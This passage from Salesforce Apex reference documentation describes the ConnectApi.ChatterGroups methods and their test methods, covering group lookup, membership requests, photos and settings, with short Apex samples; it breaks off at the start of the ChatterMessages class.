Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1138
ChatterGroups ClassReference
Return Value
Type: ConnectApi.AnnouncementPage
Usage
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an
announcement, use the methods of the ConnectApi.Announcements class.
getBannerPhoto(communityId, groupId)
Get a group banner photo.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID of the group.
Return Value
Type: ConnectApi.BannerPhoto
getGroup(communityId, groupId)
Returns information about the specified group.
API Version
28.0
Available to Guest Users
31.0
1139
ChatterGroups ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupDetail getGroup(String communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.ChatterGroupDetail
getGroupBatch(communityId, groupIds)
Gets information about the specified list of groups. Returns a list of BatchResult objects containing
ConnectApi.ChatterGroup objects. Returns errors embedded in the results for groups that couldn’t be loaded.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getGroupBatch(String communityId, List<String>
groupIds)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupIds
Type: List<String>
A list of up to 500 group IDs.
1140
ChatterGroups ClassReference
Return Value
Type: BatchResult[]
The BatchResult.getResult() method returns a ConnectApi.ChatterGroup object.
Example
// Create a list of groups.
ConnectApi.ChatterGroupPage groupPage = ConnectApi.ChatterGroups.getGroups(null);
// Create a list of group IDs.
List<String> groupIds = new List<String>();
for (ConnectApi.ChatterGroup aGroup : groupPage.groups){
groupIds.add(aGroup.id);
}
// Get info about all the groups in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null,
groupIds);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the number of members in each group.
ConnectApi.ChatterGroup aGroup;
if(batchResult.getResult() instanceof ConnectApi.ChatterGroup) {
aGroup = (ConnectApi.ChatterGroup) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(aGroup.memberCount);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}
SEE ALSO:
getMembershipBatch(communityId, membershipIds)
getGroupMembershipRequest(communityId, requestId)
Returns information about the specified request to join a private group.
API Version
28.0
Requires Chatter
Yes
1141
ChatterGroups ClassReference
Signature
public static ConnectApi.GroupMembershipRequest getGroupMembershipRequest(String
communityId, String requestId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
requestId
Type: String
The ID of a request to join a private group.
Return Value
Type: ConnectApi.GroupMembershipRequest
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
getGroupMembershipRequests(communityId, groupId)
Returns information about every request to join the specified private group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String
communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
1142
ChatterGroups ClassReference
Return Value
Type: ConnectApi.GroupMembershipRequests
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
getGroupMembershipRequests(communityId, groupId, status)
Returns information about every request to join the specified private group that has a specified status.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String
communityId, String groupId, ConnectApi.GroupMembershipRequestStatus status)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
status
Type: ConnectApi.GroupMembershipRequestStatus
status—The status of a request to join a private group.
•Accepted
•Declined
•Pending
Return Value
Type: ConnectApi.GroupMembershipRequests
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
1143
ChatterGroups ClassReference
getGroups(communityId)
Returns the first page of all the groups. The page contains the default number of items.
API Version
28.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ChatterGroupPage
getGroups(communityId, pageParam, pageSize)
Returns the specified page of information about all groups.
API Version
28.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer
pageParam, Integer pageSize)
1144
ChatterGroups ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterGroupPage
getGroups(communityId, pageParam, pageSize, archiveStatus)
Returns the specified page of information about a set of groups with a specified group archive status.
API Version
29.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer
pageParam, Integer pageSize, ConnectApi.GroupArchiveStatus archiveStatus)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
1145
ChatterGroups ClassReference
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
archiveStatus
Type: ConnectApi.GroupArchiveStatus
Specifies a set of groups based on whether the groups are archived or not.
•All—All groups, including groups that are archived and groups that are not archived.
•Archived—Only groups that are archived.
•NotArchived—Only groups that are not archived.
If you pass in null, the default value is All.
Return Value
Type: ConnectApi.ChatterGroupPage
getMember(communityId, membershipId)
Returns information about the specified group member.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMember getMember(String communityId, String membershipId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
membershipId
Type: String
The ID for a membership.
Return Value
Type: ConnectApi.GroupMember
getMembers(communityId, groupId)
Get the first page of information about members of a group. The page contains the default number of items.
1146
ChatterGroups ClassReference
API Version
28.0
Available to Guest Users
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupMemberPage
getMembers(communityId, groupId, pageParam, pageSize)
Get the specified page of information about members of a group.
API Version
28.0
Available to Guest Users
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId,
Integer pageParam, Integer pageSize)
1147
ChatterGroups ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.GroupMemberPage
getMembershipBatch(communityId, membershipIds)
Gets information about the specified list of group memberships. Returns a list of BatchResult objects containing
ConnectApi.GroupMember objects. Returns errors embedded in the results for group memberships that couldn’t be accessed.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getMembershipBatch(String communityId,
List<String> membershipIds)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
membershipIds
Type: List<String>
A list of up to 500 group membership IDs.
1148
ChatterGroups ClassReference
Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.GroupMember object.
Example
// Get members of a group.
ConnectApi.GroupMemberPage membersPage = ConnectApi.ChatterGroups.getMembers(null,
'0F9D00000000oOT');
// Create a list of membership IDs.
List<String> membersList = new List<String>();
for (ConnectApi.GroupMember groupMember : membersPage.members){
membersList.add(groupMember.id);
}
// Get info about all group memberships in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getMembershipBatch(null,
membersList);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the first name of each member.
ConnectApi.GroupMember groupMember;
if(batchResult.getResult() instanceof ConnectApi.GroupMember) {
groupMember = (ConnectApi.GroupMember) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(groupMember.user.firstName);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}
SEE ALSO:
getGroupBatch(communityId, groupIds)
getMyChatterSettings(communityId, groupId)
Returns the context user’s Chatter settings for the specified group.
API Version
28.0
1149
ChatterGroups ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.GroupChatterSettings getMyChatterSettings(String communityId,
String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupChatterSettings
getPhoto(communityId, groupId)
Returns information about the photo for the specified group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo getPhoto(String communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
1150
ChatterGroups ClassReference
Return Value
Type: ConnectApi.Photo
getRecord(communityId, groupRecordId)
Returns information about a record associated with a group.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecord getRecord(String communityId, String groupRecordId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupRecordId
Type: String
ID of the group record.
Return Value
Type: ConnectApi.GroupRecord
getRecords(communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.
API Version
33.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId)
1151
ChatterGroups ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupRecordPage
getRecords(communityId, groupId, pageParam, pageSize)
Returns the specified page from the list of records associated with a group.
API Version
33.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId,
Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1152
ChatterGroups ClassReference
Return Value
Type: ConnectApi.GroupRecordPage
inviteUsers(groupId, invite)
Invite internal and external users to join a group.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.Invitations inviteUsers(String groupId, ConnectApi.InviteInput
invite)
Parameters
groupId
Type: String
ID of the group.
invite
Type: ConnectApi.InviteInput
A ConnectApi.InviteInput body.
Return Value
Type: ConnectApi.Invitations
postAnnouncement(communityId, groupId, announcement)
Posts an announcement to the group.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.Announcement postAnnouncement(String communityId, String
groupId, ConnectApi.AnnouncementInput announcement)
1153
ChatterGroups ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
announcement
Type: ConnectApi.AnnouncementInput
A ConnectApi.AnnouncementInput object.
Return Value
Type: ConnectApi.Announcement
Usage
Use an announcement to highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post
deletes the announcement.
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an
announcement, use the methods of the ConnectApi.Announcements class.
removeRecord(communityId, groupRecordId)
Removes the association of a record with a group.
API Version
34.0
Requires Chatter
Yes
Signature
public static Void removeRecord(String communityId, String groupRecordId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupRecordId
Type: String
ID of the group record.
1154
ChatterGroups ClassReference
Return Value
Type: Void
requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequest requestGroupMembership(String
communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.GroupMembershipRequest
Sample: Requesting to Join a Private Group
This sample code calls ConnectApi.ChatterGroups.requestGroupMembership to request to join a private group.
String communityId = null;
ID groupId = '0F9x00000000hAZ';
ConnectApi.GroupMembershipRequest membershipRequest =
ConnectApi.ChatterGroups.requestGroupMembership(communityId, groupId);
searchGroups(communityId, q)
Returns the first page of groups that match the specified search criteria. The page contains the default number of items.
API Version
28.0
1155
ChatterGroups ClassReference
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
Return Value
Type: ConnectApi.ChatterGroupPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchGroups(communityId, q, result)
Testing ConnectApi Code
searchGroups(communityId, q, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria.
API Version
28.0
Available to Guest Users
31.0
1156
ChatterGroups ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q,
Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterGroupPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchGroups(communityId, q, pageParam, pageSize, result)
Testing ConnectApi Code
searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria and that have the specified archive status.
API Version
29.0
1157
ChatterGroups ClassReference
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q,
ConnectApi.GroupArchiveStatus archiveStatus, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
archiveStatus
Type: ConnectApi.GroupArchiveStatus
archiveStatus Specifies a set of groups based on whether the groups are archived or not.
•All—All groups, including groups that are archived and groups that are not archived.
•Archived—Only groups that are archived.
•NotArchived—Only groups that are not archived.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterGroupPage
1158
ChatterGroups ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize, result)
Testing ConnectApi Code
setBannerPhoto(communityId, groupId, fileId, versionNumber)
Sets the group banner photo to an already uploaded file.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId,
String fileId, Integer versionNumber)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID of the group.
fileId
Type: String
The ID of the already uploaded file. The key prefix must be 069, and the image must be smaller than 8 MB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.
Return Value
Type: ConnectApi.BannerPhoto
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
1159
ChatterGroups ClassReference
Photos are processed asynchronously and may not be visible right away.
setBannerPhoto(communityId, groupId, fileUpload)
Sets the group banner photo to a file that hasn’t been uploaded.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId,
ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID of the group.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.BannerPhoto
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)
Sets and crops an already uploaded file as the group banner photo.
API Version
36.0
1160
ChatterGroups ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String groupId, ConnectApi.BannerPhotoInput bannerPhoto)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID of the group.
bannerPhoto
Type: ConnectApi.BannerPhotoInput
A ConnectApi.BannerPhotoInput object that specifies the ID and version of the file, and how to crop the file.
Return Value
Type: ConnectApi.BannerPhoto
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)
Sets the group banner photo to a file that hasn’t been uploaded and requires cropping.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String groupId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput
fileUpload)
1161
ChatterGroups ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID of the group.
bannerPhoto
Type: ConnectApi.BannerPhotoInput
A ConnectApi.BannerPhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.BannerPhoto
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.
setPhoto(communityId, groupId, fileId, versionNumber)
Sets the group photo to an already uploaded file.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId, String
fileId, Integer versionNumber)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1162
ChatterGroups ClassReference
groupId
Type: String
The ID for a group.
fileId
Type: String
ID of a file already uploaded. The key prefix must be 069, and the file must be an image that is smaller than 2 GB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.
Return Value
Type: ConnectApi.Photo
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.
Sample: Updating a Group Photo with an Existing File
When a group is created, it doesn’t have a group photo. You can set an existing photo that has already been uploaded to Salesforce as
the group photo. The key prefix must be 069 and the file size must be less than 2 GB.
String communityId = null;
ID groupId = '0F9x00000000hAK';
ID fileId = '069x00000001Ion';
// Set photo
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, fileId,
null);
setPhoto(communityId, groupId, fileUpload)
Sets the group photo to the specified blob..
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId,
ConnectApi.BinaryInput fileUpload)
1163
ChatterGroups ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.
Sample: Uploading a New File and Using it as a Group Photo
When a group is created, it doesn’t have a group photo. You can upload a photo and set it as the group photo.
String communityId = null;
ID groupId = '0F9x00000000hAP';
ID photoId = '069x00000001Ioo';
// Set photo
List<ContentVersion> groupPhoto = [Select c.VersionData From ContentVersion c where
ContentDocumentId=:photoId];
ConnectApi.BinaryInput binary = new ConnectApi.BinaryInput(groupPhoto.get(0).VersionData,
'image/png','image.png');
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, binary);
setPhotoWithAttributes(communityId, groupId, photo)
Sets and crops an already uploaded file as the group photo.
API Version
29.0
Requires Chatter
Yes
1164
ChatterGroups ClassReference
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId,
ConnectApi.PhotoInput photo)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object that specifies the ID and version of the file, and how to crop the file.
Return Value
Type: ConnectApi.Photo
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.
setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
Sets and crops a binary input as the group photo.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1165
ChatterGroups ClassReference
groupId
Type: String
The ID for a group.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object that specifies how to crop the file specified in fileUpload.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.
updateGroup(communityId, groupId, groupInput)
Update the settings of a group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroup updateGroup(String communityId, String groupId,
ConnectApi.ChatterGroupInput groupInput)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
groupInput
Type: ConnectApi.ChatterGroupInput
1166
ChatterGroups ClassReference
A ConnectApi.ChatterGroupInput object.
Return Value
Type: ConnectApi.ChatterGroup
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission. Use this
method to update any settings in the ConnectApi.ChatterGroupInput class. These settings include the group title and text
in the “Information” section, whether the group is public or private, and whether the group is archived.
Example
This example archives a group:
String groupId = '0F9D00000000qSz';
String communityId = null;
ConnectApi.ChatterGroupInput groupInput = new ConnectApi.ChatterGroupInput();
groupInput.isArchived = true;
ConnectApi.ChatterGroups.updateGroup(communityId, groupId, groupInput);
updateGroupMember(communityId, membershipId, role)
Updates the specified group membership with the specified role in the specified community. This method is successful only when the
context user is the group manager or owner, or has “Modify All Data” permission.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroup updateGroupMember(String communityId, String
membershipId, ConnectApi.GroupMembershipType role)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
membershipId
Type: String
The ID for a membership.
1167
ChatterGroups ClassReference
role
Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
•GroupManager
•StandardMember
Return Value
Type: ConnectApi.ChatterGroup
updateMyChatterSettings(communityId, groupId, emailFrequency)
Updates the context user’s Chatter settings for the specified group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupChatterSettings updateMyChatterSettings(String communityId,
String groupId, ConnectApi.GroupEmailFrequency emailFrequency)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
emailFrequency
Type: ConnectApi.GroupEmailFrequency
emailFrequency—Specifies the frequency with which a user receives email.
•EachPost
•DailyDigest
•WeeklyDigest
•Never
•UseDefault
The value UseDefault uses the value set in a call to updateChatterSettings(communityId, userId,
defaultGroupEmailFrequency).
1168
ChatterGroups ClassReference
Return Value
Type: ConnectApi.GroupChatterSettings
updateRequestStatus(communityId, requestId, status)
Updates a request to join a private group.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId,
String requestId, ConnectApi.GroupMembershipRequestStatus status)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
requestId
Type: String
The ID for a request to join a private group.
status
Type: ConnectApi.GroupMembershipRequestStatus
The status of the request:
•Accepted
•Declined
The Pending value of the enum is not valid in this method.
Return Value
Type: ConnectApi.GroupMembershipRequest
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
1169
ChatterGroups ClassReference
Sample: Accepting or Declining a Request to Join a Private Group
This sample code calls ConnectApi.ChatterGroups.updateRequestStatus and passes it the membership request ID
and an ConnectApi.GroupMembershipRequestStatus.Accepted status. You can also pass
ConnectApi.GroupMembershipRequestStatus.Declined.
String communityId = null;
ID groupId = '0F9x00000000hAZ';
String requestId = '0I5x000000001snCAA';
ConnectApi.GroupMembershipRequest membershipRequestRep =
ConnectApi.ChatterGroups.updateRequestStatus(communityId, requestId,
ConnectApi.GroupMembershipRequestStatus.Accepted);
updateRequestStatus(communityId, requestId, status, responseMessage)
Updates a request to join a private group and optionally provides a message when the request is denied.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId,
String requestId, ConnectApi.GroupMembershipRequestStatus status, String responseMessage)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
requestId
Type: String
The ID for a request to join a private group.
status
Type: ConnectApi.GroupMembershipRequestStatus
The status of the request:
•Accepted
•Declined
The Pending value of the enum is not valid in this method.
responseMessage
Type: String
1170
ChatterGroups ClassReference
Provide a message to the user if their membership request is declined. The value of this property is used only when the value of the
status property is Declined.
The maximum length is 756 characters.
Return Value
Type: ConnectApi.GroupMembershipRequest
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
ChatterGroups Test Methods
The following are the test methods for ChatterGroups. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestSearchGroups(communityId, q, result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups
method is called in a test context. Use the test method with the same parameters or you receive an exception.
API Version
29.0
Signature
public static Void setTestSearchGroups(String communityId, String q,
ConnectApi.ChatterGroupPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
result
Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.
1171
ChatterGroups ClassReference
Return Value
Type: Void
SEE ALSO:
searchGroups(communityId, q)
Testing ConnectApi Code
setTestSearchGroups(communityId, q, pageParam, pageSize, result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups
method is called in a test context. Use the test method with the same parameters or you receive an exception.
API Version
28.0
Signature
public static Void setTestSearchGroups(String communityId, String q, Integer pageParam,
Integer pageSize, ConnectApi.ChatterGroupPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result
Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.
1172
ChatterGroups ClassReference
Return Value
Type: Void
SEE ALSO:
searchGroups(communityId, q, pageParam, pageSize)
Testing ConnectApi Code
setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize,
result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups
method is called in a test context. Use the test method with the same parameters or you receive an exception.
API Version
29.0
Signature
public static Void setTestSearchGroups(String communityId, String q,
ConnectApi.GroupArchiveStatus, archiveStatus, Integer pageParam, Integer pageSize,
ConnectApi.ChatterGroupPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
archiveStatus
Type: ConnectApi.GroupArchiveStatus
archiveStatusSpecifies a set of groups based on whether the groups are archived or not.
•All—All groups, including groups that are archived and groups that are not archived.
•Archived—Only groups that are archived.
•NotArchived—Only groups that are not archived.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1173
ChatterGroups ClassReference
result
Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.
Return Value
Type: Void
SEE ALSO:
searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Testing ConnectApi Code
ChatterMessages Class
Access and modify message and conversation data.
Namespace
ConnectApi
Usage
Use Chatter in Apex to get, send, search, and reply to messages. You can also get and search conversations, mark conversations as read,
and get a count of unread messages.
ChatterMessages Methods
The following are methods for ChatterMessages. All methods are static.
IN THIS SECTION:
getConversation(conversationId)
Returns a conversation the context user has access to.
getConversation(conversationId, pageParam, pageSize)
Returns a conversation the context user has access to.
getConversation(communityId, conversationId)
Returns a conversation the context user has access to across their available communities.
getConversation(communityId, conversationId, pageParam, pageSize)
Returns a conversation from a specific page with a specific number of results the context user has access to across their available
communities.
getConversations()
Returns the most recent conversations the context user has access to.
getConversations(pageParam, pageSize)
Returns a specific page of conversations the context user has access to.
1174
ChatterMessages ClassReference
getConversations(communityId)
Returns the most recent conversations the context user has access to across their available communities.
getConversations(communityId, pageParam, pageSize)
